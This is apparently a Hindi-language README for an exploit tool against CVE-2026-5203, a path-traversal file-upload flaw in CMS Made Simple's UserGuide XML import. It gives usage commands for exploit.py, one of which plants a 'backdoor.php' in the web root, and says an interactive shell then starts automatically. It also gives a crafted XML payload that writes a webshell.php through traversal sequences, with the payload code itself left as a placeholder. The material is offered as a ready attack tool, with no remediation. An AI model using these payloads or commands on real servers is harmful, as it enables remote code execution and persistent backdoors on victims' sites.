
CMS Made Simple में CVE-2026-5203 के लिए एक्सप्लॉइट, इंटरैक्टिव शेल के साथ रिमोट कोड निष्पादन प्राप्त करने के लिए पथ ट्रैवर्सल और मनमाना फ़ाइल अपलोड का लाभ उठाता है।
CMS Made Simple ≤ 2.2.22 में UserGuide मॉड्यूल की XML आयात कार्यक्षमता उपयोगकर्ता द्वारा प्रदान किए गए फ़ाइलनामों को सैनिटाइज़ करने में विफल रहती है, जिससे एक प्रमाणित प्रशासक पथ ट्रैवर्सल अनुक्रमों के माध्यम से सर्वर फ़ाइलसिस्टम पर कहीं भी स्वेच्छिक फ़ाइलें (जैसे PHP वेब शेल) अपलोड कर सकता है।
| फ़ील्ड | मान |
|---|---|
| प्रकार | पथ ट्रैवर्सल / स्वेच्छिक फ़ाइल अपलोड → RCE |
| घटक | UserGuide मॉड्यूल — XML आयात |
| प्रभावित फ़ाइल | modules/UserGuide/lib/class.UserGuideImporterExporter.php |
| CVSS v3.1 | 7.2 HIGH — CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H |
| प्रमाणीकरण आवश्यक | हाँ (प्रशासक) |
// modules/UserGuide/lib/class.UserGuideImporterExporter.php (~L250-280)
$filename = (string) $xmlFile->filename;
$isdir = (string) $xmlFile->isdir;
यह फ़ंक्शन Base64-डिकोडेड सामग्री को सीधे हमलावर-नियंत्रित पथ पर लिखता है।
python exploit.py <base_url> <admin_url> <username> <password> [upload_path]
उदाहरण:
# डिफ़ॉल्ट पथ
python exploit.py http://target.com http://target.com/admin admin password123
# कस्टम अपलोड पथ
python exploit.py http://target.com http://target.com/admin admin password123 \
../../../../../../var/www/html/backdoor.php
यदि अपलोड के बाद वेब शेल तक पहुँचा जा सकता है तो इंटरैक्टिव शेल स्वचालित रूप से शुरू होता है।
<?xml version="1.0" encoding="UTF-8"?>
<modulecontent>
<module>UserGuide</module>
<version>1.3</version>
<files>
<file>
<filename>../../../webshell.php</filename>
<isdir>0</isdir>
<data>[BASE64_ENCODED_PHP_CODE]</data>
</file>
</files>
</modulecontent>